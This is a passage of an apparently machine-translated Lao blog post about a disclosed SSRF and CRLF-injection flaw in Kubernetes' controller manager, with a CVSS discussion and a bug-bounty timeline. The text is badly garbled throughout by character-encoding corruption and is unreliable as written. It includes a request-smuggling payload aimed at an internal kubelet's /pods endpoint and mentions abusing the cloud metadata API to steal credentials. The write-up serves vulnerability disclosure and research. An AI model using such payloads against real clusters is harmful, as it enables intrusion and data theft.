เป„เบ”เป‰โ€‹เบžเบปเบšโ€‹เป€เบซเบฑเบ™ เบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญ, เบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆ Golang เบฎเบธเปˆเบ™เบ•เปˆเปเบฒเบเบงเปˆเบฒ 1.12 เปเบฅเบฐเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เปเบฎเบเป€เบเบตเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบต HTTP smuggling / CRLF.

เป‚เบ”เบเบเบฒเบ™เบฅเบงเบกเป€เบญเบปเบฒ SSRF เป€เบ„เบดเปˆเบ‡เบ•เบฒเบšเบญเบ”เบ—เบตเปˆเป„เบ”เป‰เบญเบฐเบ—เบดเบšเบฒเบเบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡ ะฒะผะตัั‚ะต เบ”เป‰เบงเบเบชเบดเปˆเบ‡เบ™เบตเป‰, เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เบชเบปเปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเปƒเบซเป‰เบเบฑเบšเบ„เบงเบฒเบกเบกเบฑเบเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ, เบฅเบงเบกเบ—เบฑเบ‡เบเบฒเบ™เบ›เปˆเบฝเบ™เบชเปˆเบงเบ™เบซเบปเบง, เบงเบดเบ—เบตเบเบฒเบ™ HTTP, เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบตเปเบฅเบฐเบ‚เปเป‰เบกเบนเบ™, เป€เบŠเบดเปˆเบ‡ kube-controller-manager เบ›เบธเบ‡เปเบ•เปˆเบ‡เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™.

เบ™เบตเป‰เปเบกเปˆเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡ "bait" เบ—เบตเปˆเป€เบฎเบฑเบ”เบงเบฝเบเบขเบนเปˆเปƒเบ™เบ•เบปเบงเบเปเบฒเบ™เบปเบ”เบเบฒเบ™ resturl StorageClass, เป€เบŠเบดเปˆเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

เบœเบปเบ™เป„เบ”เป‰เบฎเบฑเบšเปเบกเปˆเบ™เบ„เบงเบฒเบกเบœเบดเบ”เบžเบฒเบ” เบเบฒเบ™โ€‹เบ•เบญเบšโ€‹เบชเบฐโ€‹เบซเบ™เบญเบ‡โ€‹เบ—เบตเปˆโ€‹เบšเปเปˆโ€‹เบ•เป‰เบญเบ‡โ€‹เบเบฒเบ™โ€‹, เบ‚เปเป‰เบ„เบงเบฒเบกเบ—เบตเปˆเบšเบฑเบ™เบ—เบถเบเป„เบงเป‰เปƒเบ™เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡เบ•เบปเบงเบ„เบงเบšเบ„เบธเบก. เบ‚เปเบ‚เบญเบšเปƒเบˆเบเบฑเบš verbosity เป€เบ›เบตเบ”เปƒเบŠเป‰เป‚เบ”เบเบ„เปˆเบฒเป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™, เป€เบ™เบทเป‰เบญเปƒเบ™เบ‚เบญเบ‡เบ‚เปเป‰เบ„เบงเบฒเบกเบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡ HTTP เบเบฑเบ‡เบ–เบทเบเบšเบฑเบ™เบ—เบถเบเป„เบงเป‰เบขเบนเปˆเบ—เบตเปˆเบ™เบฑเป‰เบ™.

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบ™เบตเป‰เปเบกเปˆเบ™ "bait" เบ—เบตเปˆเบกเบตเบ›เบฐเบชเบดเบ”เบ—เบดเบžเบฒเบšเบ—เบตเปˆเบชเบธเบ”เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเปƒเบ™เบเบญเบšเบ‚เบญเบ‡เบซเบผเบฑเบเบ–เบฒเบ™เบชเบฐเปเบ”เบ‡เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”.

เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบงเบดเบ—เบตเบเบฒเบ™เบ™เบตเป‰, เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบ•เปเปˆเป„เบ›เบ™เบตเป‰เบšเบฒเบ‡เบเบธเปˆเบกเบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™ k8s เบ—เบตเปˆเบกเบตเบเบฒเบ™เบˆเบฑเบ”เบเบฒเบ™เบ•เปˆเบฒเบ‡เป†: เบเบฒเบ™เบ‚เบฐเบซเบเบฒเบเบชเบดเบ”เบ—เบดเบžเบดเป€เบชเบ”เบเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบเปˆเบฝเบงเบเบฑเบš metadata, Master DoS เบœเปˆเบฒเบ™ (unencrypted) HTTP requests on etcd master instances, เปเบฅเบฐเบญเบทเปˆเบ™เป†.

เบœเบปเบ™เบเบฐเบ—เบปเบš

เปƒเบ™เบ„เปเบฒเบ–เบฐเปเบซเบผเบ‡เบ—เบตเปˆเป€เบ›เบฑเบ™เบ—เบฒเบ‡เบเบฒเบ™ Kubernetes เบเปˆเบฝเบงเบเบฑเบšเบˆเบธเบ”เบญเปˆเบญเบ™เบ‚เบญเบ‡ SSRF เบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเบ„เบปเป‰เบ™เบžเบปเบš, เบกเบฑเบ™เบ–เบทเบเบˆเบฑเบ”เบญเบฑเบ™เบ”เบฑเบš CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. เบ–เป‰เบฒเบžเบงเบเป€เบฎเบปเบฒเบžเบดเบˆเบฒเบฅเบฐเบ™เบฒเบžเบฝเบ‡เปเบ•เปˆเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบ‚เบญเบšเป€เบ‚เบ” Kubernetes, vector เบ„เบงเบฒเบกเบชเบปเบกเบšเบนเบ™ (เบ„เบงเบฒเบกเบชเบปเบกเบšเบนเบ™ vector) เบกเบฑเบ™โ€‹เบกเบตโ€‹เบ„เบธเบ™โ€‹เบชเบปเบกโ€‹เบšเบฑเบ”โ€‹เป€เบ›เบฑเบ™โ€‹ เบšเปเปˆเบกเบต.

เบขเปˆเบฒเบ‡เปƒเบ”เบเปเปˆเบ•เบฒเบก, เบเบฒเบ™เบ›เบฐเป€เบกเบตเบ™เบœเบปเบ™เบชเบฐเบ—เป‰เบญเบ™เบ—เบตเปˆเป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™เบ—เบตเปˆเบกเบตเบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡ (เปเบฅเบฐเบ™เบตเป‰เปเบกเปˆเบ™เบชเปˆเบงเบ™เบ—เบตเปˆเบซเบ™เป‰เบฒเบชเบปเบ™เปƒเบˆเบ—เบตเปˆเบชเบธเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ!) เป„เบ”เป‰เบเบฐเบ•เบธเป‰เบ™เปƒเบซเป‰เบžเบงเบเป€เบฎเบปเบฒเบˆเบฑเบ”เบ›เบฐเป€เบžเบ”เบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเปƒเบซเบกเปˆเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบฒเบ™เบˆเบฑเบ”เบญเบฑเบ™เบ”เบฑเบš. CVSS10/10 เบชเบณเบ„เบฑเบ™ เบชเปเบฒเบฅเบฑเบšเบœเบนเป‰เบˆเบฑเบ”เบˆเปเบฒเบซเบ™เปˆเบฒเบเบˆเปเบฒเบ™เบงเบ™เบซเบผเบฒเบ.

เบ‚เป‰เบฒเบ‡เบฅเบธเปˆเบกเบ™เบตเป‰เปเบกเปˆเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเป€เบžเบทเปˆเบญเบŠเปˆเบงเบเปƒเบซเป‰เบ—เปˆเบฒเบ™เป€เบ‚เบปเป‰เบฒเปƒเบˆเบเบฒเบ™เบžเบดเบˆเบฒเบฅเบฐเบ™เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเป€เบกเบทเปˆเบญเบ›เบฐเป€เบกเบตเบ™เบœเบปเบ™เบเบฐเบ—เบปเบšเบ—เบตเปˆเบญเบฒเบ”เป€เบเบตเบ”เบ‚เบถเป‰เบ™เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ„เบฅเบฒเบง:

เบ„เบงเบฒเบกเบŠเบทเปˆเบชเบฑเบ”

  • เบ›เบฐเบ•เบดเบšเบฑเบ”เบ„เปเบฒเบชเบฑเปˆเบ‡เบˆเบฒเบเป„เบฅเบเบฐเป„เบเป‚เบ”เบเปƒเบŠเป‰เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบžเบฒเบเปƒเบ™เบ—เบตเปˆเป„เบ”เป‰เบกเบฒ.
  • เบเบฒเบ™เบœเบฐเบฅเบดเบ”เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡เบ™เบตเป‰เป‚เบ”เบเปƒเบŠเป‰เบงเบดเบ—เบตเบเบฒเบ™ IDOR (Insecure Direct Object Reference) เบเบฑเบšเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบญเบทเปˆเบ™เป†เบ—เบตเปˆเบžเบปเบšเป€เบซเบฑเบ™เบขเบนเปˆเปƒเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™.

เบ„เบงเบฒเบกเบฅเบฑเบš

  • เบ›เบฐเป€เบžเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบต เบเบฒเบ™เป€เบ„เบทเปˆเบญเบ™เป„เบซเบงเบ‚เป‰เบฒเบ‡เบ•เบปเบงเบ‚เบญเบ‡เป‚เบ• เบ‚เปเบ‚เบญเบšเปƒเบˆเบเบฑเบšเบเบฒเบ™เบฅเบฑเบเบ‚เปเป‰เบกเบนเบ™เบ‚เบญเบ‡เบ„เบฅเบฒเบง (เบ•เบปเบงเบขเปˆเบฒเบ‡, metadata API).
  • เบเบฒเบ™เบฅเบงเบšเบฅเบงเบกเบ‚เปเป‰เบกเบนเบ™เป‚เบ”เบเบเบฒเบ™เบชเบฐเปเบเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™ (เบเบฒเบ™เบเปเบฒเบ™เบปเบ”เบชเบฐเบšเบฑเบš SSH, HTTP server version, ... ).
  • เป€เบเบฑเบšเบเบณเบ‚เปเป‰เบกเบนเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡ เปเบฅเบฐเป‚เบ„เบ‡เบชเป‰เบฒเบ‡เบžเบทเป‰เบ™เบ–เบฒเบ™เป‚เบ”เบเบเบฒเบ™เบชเบณเบซเบผเบงเบ” API เบžเบฒเบเปƒเบ™เป€เบŠเบฑเปˆเบ™ metadata API (http://169.254.169.254, ... ).
  • เบเบฒเบ™เบฅเบฑเบเบ‚เปเป‰เบกเบนเบ™เบฅเบนเบเบ„เป‰เบฒเป‚เบ”เบเปƒเบŠเป‰เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบ‚เบญเบ‡เบ„เบฅเบฒเบง.

Availability

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบธเบ”เบ„เบปเป‰เบ™เบ—เบฑเบ‡เปเบปเบ”เบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เป‚เบˆเบกเบ•เบต vectors on เบ„เบงเบฒเบกเบŠเบทเปˆเบชเบฑเบ”, เบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบเบฐเบ—เปเบฒเบ—เบตเปˆเบ—เปเบฒเบฅเบฒเบเปเบฅเบฐเบ™เปเบฒเป„เบ›เบชเบนเปˆเบ•เบปเบงเบขเปˆเบฒเบ‡เบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบšเบˆเบฒเบ perimeter เบฅเบนเบเบ„เป‰เบฒ (เบซเบผเบทเบญเบทเปˆเบ™เป†) เปเบกเปˆเบ™เบšเปเปˆเบชเบฒเบกเบฒเบ”เปƒเบŠเป‰เป„เบ”เป‰.

เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบžเบงเบเป€เบฎเบปเบฒเบขเบนเปˆเปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบก K8s เบ—เบตเปˆเบ–เบทเบเบ„เบธเป‰เบกเบ„เบญเบ‡เปเบฅเบฐเบเบฒเบ™เบ›เบฐเป€เบกเบตเบ™เบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆเบ„เบงเบฒเบกเบŠเบทเปˆเบชเบฑเบ”, เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เบˆเบดเบ™เบ•เบฐเบ™เบฒเบเบฒเบ™เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบˆเปเบฒเบ™เบงเบ™เบซเบผเบฒเบเบ—เบตเปˆเบชเบฒเบกเบฒเบ”เบชเบปเปˆเบ‡เบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆเบเบฒเบ™เบกเบตเบขเบนเปˆ. เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบฅเบงเบกเป€เบ–เบดเบ‡เบเบฒเบ™เบ—เปเบฒเบฅเบฒเบเบ–เบฒเบ™เบ‚เปเป‰เบกเบนเบ™ etcd เบซเบผเบทเบเบฒเบ™เป‚เบ—เบซเบฒเบ—เบตเปˆเบชเปเบฒเบ„เบฑเบ™เบเบฑเบš Kubernetes API.

เบเบณ เบ™เบปเบ”เป€เบงเบฅเบฒ

  • เบงเบฑเบ™เบ—เบต 6 เบ—เบฑเบ™เบงเบฒ 2019: เบฅเบฒเบเบ‡เบฒเบ™เบˆเบธเบ”เบญเปˆเบญเบ™เบ•เปเปˆเบเบฑเบš MSRC Bug Bounty.
  • เบงเบฑเบ™เบ—เบต 3 เบกเบฑเบ‡เบเบญเบ™ 2020: เบžเบฒเบเบชเปˆเบงเบ™เบ—เบตเบชเบฒเบกเปเบˆเป‰เบ‡เปƒเบซเป‰เบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒ Kubernetes เบฎเบนเป‰เบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบเบณเบฅเบฑเบ‡เปเบเป‰เป„เบ‚เบšเบฑเบ™เบซเบฒเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบขเบนเปˆ. เปเบฅเบฐเบ‚เปเปƒเบซเป‰เบžเบงเบเป€เบ‚เบปเบฒเบžเบดเบˆเบฒเบฅเบฐเบ™เบฒ SSRF เป€เบ›เบฑเบ™เบˆเบธเบ”เบญเปˆเบญเบ™เบžเบฒเบเปƒเบ™ (เปƒเบ™เบซเบผเบฑเบ). เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบชเบฐเบซเบ™เบญเบ‡เบšเบปเบ”เบฅเบฒเบเบ‡เบฒเบ™เบ—เบปเปˆเบงเป„เบ›เบ—เบตเปˆเบกเบตเบฅเบฒเบเบฅเบฐเบญเบฝเบ”เบ”เป‰เบฒเบ™เบงเบดเบŠเบฒเบเบฒเบ™เบเปˆเบฝเบงเบเบฑเบšเปเบซเบผเปˆเบ‡เบ‚เบญเบ‡เบšเบฑเบ™เบซเบฒ.
  • เบงเบฑเบ™เบ—เบต 15 เบกเบฑเบ‡เบเบญเบ™ 2020: เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบชเบฐเปœเบญเบ‡เบšเบปเบ”เบฅเบฒเบเบ‡เบฒเบ™เบ—เบฒเบ‡เบงเบดเบŠเบฒเบเบฒเบ™ เปเบฅเบฐเบ—เบปเปˆเบงเป„เบ›เปƒเบซเป‰เบเบฑเบšเบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒ Kubernetes เบ•เบฒเบกเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เป€เบ‚เบปเบฒเป€เบˆเบปเป‰เบฒ (เบœเปˆเบฒเบ™เป€เบงเบ—เบต HackerOne).
  • เบงเบฑเบ™เบ—เบต 15 เบกเบฑเบ‡เบเบญเบ™ 2020: เบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒ Kubernetes เปเบˆเป‰เบ‡เปƒเบซเป‰เบžเบงเบเป€เบฎเบปเบฒเบฎเบนเป‰เบงเปˆเบฒเบเบฒเบ™เบชเบตเบ” SSRF + CRLF เป€เบ„เบดเปˆเบ‡เบ•เบฒเบšเบญเบ”เบชเบณเบฅเบฑเบšเบเบฒเบ™เบญเบญเบเบฅเบธเป‰เบ™เบ—เบตเปˆเบœเปˆเบฒเบ™เบกเบฒเบ–เบทเบงเปˆเบฒเป€เบ›เบฑเบ™เบˆเบธเบ”เบญเปˆเบญเบ™เปƒเบ™เบซเบผเบฑเบ. เบžเบงเบเป€เบฎเบปเบฒเบขเบธเบ”เป€เบŠเบปเบฒเบเบฒเบ™เบงเบดเป€เบ„เบฒเบฐเบ‚เบญเบšเป€เบ‚เบ”เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบญเบทเปˆเบ™เป†เปƒเบ™เบ—เบฑเบ™เบ—เบต: เบ—เบตเบกเบ‡เบฒเบ™ K8s เบเปเบฒเบฅเบฑเบ‡เบˆเบฑเบ”เบเบฒเบ™เบเบฑเบšเบชเบฒเป€เบซเบ”เบ‚เบญเบ‡เบฎเบฒเบ.
  • เบงเบฑเบ™เบ—เบต 15 เบกเบฑเบ‡เบเบญเบ™ 2020: เบฅเบฒเบ‡เบงเบฑเบ™ MSRC เป„เบ”เป‰เบฎเบฑเบšเบœเปˆเบฒเบ™ HackerOne.
  • เบงเบฑเบ™เบ—เบต 16 เบกเบฑเบ‡เบเบญเบ™ 2020: Kubernetes PSC (เบ„เบฐเบ™เบฐเบเปเบฒเบกเบฐเบเบฒเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ‚เบญเบ‡เบœเบฐเบฅเบดเบ”เบ•เบฐเบžเบฑเบ™) เป„เบ”เป‰เบฎเบฑเบšเบฎเบนเป‰เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ”เบฑเปˆเบ‡เบเปˆเบฒเบง เปเบฅเบฐเบ‚เปเปƒเบซเป‰เบฎเบฑเบเบชเบฒเบกเบฑเบ™เป„เบงเป‰เป€เบ›เบฑเบ™เบ„เบงเบฒเบกเบฅเบฑเบšเบˆเบปเบ™เบฎเบญเบ”เบเบฒเบ‡เป€เบ”เบทเบญเบ™เบกเบตเบ™เบฒ เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบœเบนเป‰เป€เบ„เบฒเบฐเบฎเป‰เบฒเบเบ—เบตเปˆเบญเบฒเบ”เบˆเบฐเป€เบเบตเบ”เบ‚เบถเป‰เบ™เป€เบ›เบฑเบ™เบˆเปเบฒเบ™เบงเบ™เบซเบผเบงเบ‡เบซเบผเบฒเบ.
  • เบงเบฑเบ™เบ—เบต 11 เบเบธเบกเบžเบฒ 2020: เป„เบ”เป‰เบฎเบฑเบšเบฅเบฒเบ‡เบงเบฑเบ™ Google VRP.
  • เบงเบฑเบ™เบ—เบต 4 เบกเบตเบ™เบฒ 2020: เบฅเบฒเบ‡เบงเบฑเบ™ Kubernetes เป„เบ”เป‰เบฎเบฑเบšเบœเปˆเบฒเบ™ HackerOne.
  • เบงเบฑเบ™เบ—เบต 15 เบกเบตเบ™เบฒ 2020: เป€เบšเบทเป‰เบญเบ‡เบ•เบปเป‰เบ™เป„เบ”เป‰เป€เบฅเบทเปˆเบญเบ™เบเบฒเบ™เป€เบ›เบตเบ”เป€เบœเบตเบเบ•เปเปˆเบชเบฒเบ—เบฒเบฅเบฐเบ™เบฐ เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™ COVID-19.
  • เบงเบฑเบ™เบ—เบต 1 เบกเบดเบ–เบธเบ™เบฒ 2020: Kubernetes + Microsoft เบ–เบฐเปเบซเบผเบ‡เบเบฒเบ™เบฎเปˆเบงเบกเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ.

TL; DR

  • เบžเบงเบเป€เบฎเบปเบฒเบ”เบทเปˆเบกเป€เบšเบเปเบฅเบฐเบเบดเบ™ pizza :)
  • เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ„เบปเป‰เบ™เบžเบปเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบซเบผเบฑเบเปƒเบ™ Kubernetes, เป€เบ–เบดเบ‡เปเบกเปˆเบ™เบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบšเปเปˆเป„เบ”เป‰เบ•เบฑเป‰เบ‡เปƒเบˆเบ—เบตเปˆเบˆเบฐเป€เบฎเบฑเบ”เปเบ™เบงเบ™เบฑเป‰เบ™.
  • เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เป€เบฎเบฑเบ”เบเบฒเบ™เบงเบดเป€เบ„เบฒเบฐเป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบเปˆเบฝเบงเบเบฑเบšเบเบธเปˆเบกเบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡เบ—เบตเปˆเปเบ•เบเบ•เปˆเบฒเบ‡เบเบฑเบ™ เปเบฅเบฐเบชเบฒเบกเบฒเบ”เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเป€เบชเบเบซเบฒเบเบ—เบตเปˆเป€เบเบตเบ”เบˆเบฒเบเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ—เบตเปˆเบˆเบฐเป„เบ”เป‰เบฎเบฑเบšเป‚เบšเบ™เบฑเบ”เบ—เบตเปˆเปœเป‰เบฒเบซเบงเบฒเบ”เบชเบฝเบงเป€เบžเบตเปˆเบกเป€เบ•เบตเบก.
  • เป€เบˆเบปเป‰เบฒเบˆเบฐเบžเบปเบšเป€เบซเบฑเบ™เบซเบผเบฒเบเบฅเบฒเบเบฅเบฐเบญเบฝเบ”เบ”เป‰เบฒเบ™เบงเบดเบŠเบฒเบเบฒเบ™เปƒเบ™เบšเบปเบ”เบ„เบงเบฒเบกเบ™เบตเป‰. เบžเบงเบเป€เบฎเบปเบฒเบเบดเบ™เบ”เบตเบ—เบตเปˆเบˆเบฐเบชเบปเบ™เบ—เบฐเบ™เบฒเบเบฑเบšเป€เบˆเบปเป‰เบฒ (Twitter: @ReeverZax & @__hach_).
  • เบกเบฑเบ™โ€‹เป„เบ”เป‰โ€‹เบซเบฑเบ™โ€‹เบญเบญเบโ€‹เบงเปˆเบฒโ€‹เบ›เบฐโ€‹เป€เบžเบ”โ€‹เบ‚เบญเบ‡โ€‹เบเบฒเบ™โ€‹เป€เบ›เบฑเบ™โ€‹เบ—เบฒเบ‡โ€‹เบเบฒเบ™โ€‹เบ—เบฑเบ‡โ€‹เบซเบกเบปเบ”โ€‹เปเบฅเบฐโ€‹เบเบฒเบ™โ€‹เบฅเบฒเบโ€‹เบ‡เบฒเบ™โ€‹เป„เบ”เป‰โ€‹เปƒเบŠเป‰โ€‹เป€เบงโ€‹เบฅเบฒโ€‹เบซเบผเบฒเบโ€‹เบโ€‹เปˆโ€‹เบงเบฒโ€‹เบ„เบฒเบ”โ€‹เบซเบงเบฑเบ‡โ€‹.

เป€เบญเบเบฐเบชเบฒเบ™

PS เบˆเบฒเบเบ™เบฑเบเปเบ›

เบญเปˆเบฒเบ™เบเบฑเบ‡เบขเบนเปˆเปƒเบ™ blog เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ:

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: www.habr.com

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™